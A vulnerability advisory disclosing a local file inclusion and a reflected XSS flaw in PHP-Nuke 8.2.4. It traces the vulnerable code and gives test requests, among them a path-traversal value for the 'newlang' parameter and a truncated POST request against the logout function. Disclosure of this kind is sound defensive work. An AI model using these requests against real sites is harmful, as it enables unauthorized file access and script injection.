I. * Information *  
==================  
Name : PHP-Nuke 8.2.4 multiple vulnerabilities  
Software : PHP-Nuke 8.2.4 and possibly below.  
Vendor Homepage : http://www.phpnuke.org/  
Vulnerability Type : File Inclusion and Reflected Cross-Site Scripting  
Severity : High (4/5)  
Advisory Reference : SOJOBO-ADV-13-04 (http://www.enkomio.com/Advisories)  
Credits: Sojobo dev team  
Description: A File Inclusion and Reflected Cross Site Scripting vulnerability was discovered during the testing of Sojobo, Static Analysis Tool.  
  
  
II. * Details *  
===============  
A) File Inclusion in mainfile.php [Impact: 4/5]  
  
  
Follow a trace to reach the vulnerable code.  
  
  
File: /html/index.php  
15: require_once("mainfile.php");  
  
  
File: /html/mainfile.php  
90: if (!ini_get('register_globals')) {   
91: @import_request_variables("GPC", "");  
...  
274: if ((isset($newlang)) AND (stristr($newlang,"."))) {  
275: if (file_exists("language/lang-".$newlang.".php")) {  
...  
277: include_once("language/lang-".$newlang.".php");  
  
  
due to a call to the function 'import_request_variables' it is possible to create the variable $newlang with an arbitrary value and to allow the inclusion of an arbitrary local file.  
  
  
A test request is: /index.php?newlang=/../../index  
  
  
B) Reflected Cross Site Scripting in index.php (of module Your_Account) [Impact: 3/5]  
  
  
Follow a trace to reach the vulnerable code.  
  
  
File: /html/mainfile.php  
90: if (!ini_get('register_globals')) {   
91: @import_request_variables("GPC", "");  
  
  
File: /html/modules/Your_Account/index.php  
758: function logout() {  
769: if (!empty($redirect)) {  
770: echo "<META HTTP-EQUIV=\"refresh\" content=\"3;URL=modules.php?name=$redirect\">";  
  
  
due to a call to the function 'import_request_variables' it is possible to create the variable $redirect with an arbitrary value and to inject arbitrary HTML code. Due to   
XSS filtering the request must be done via POST with the injection data sent as payload.  
  
  
A HTTP POST test request is:   
  
  
POST /html/modules.php?name=Your_Account&op=logout HTTP/1.1  
Host: www.example.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
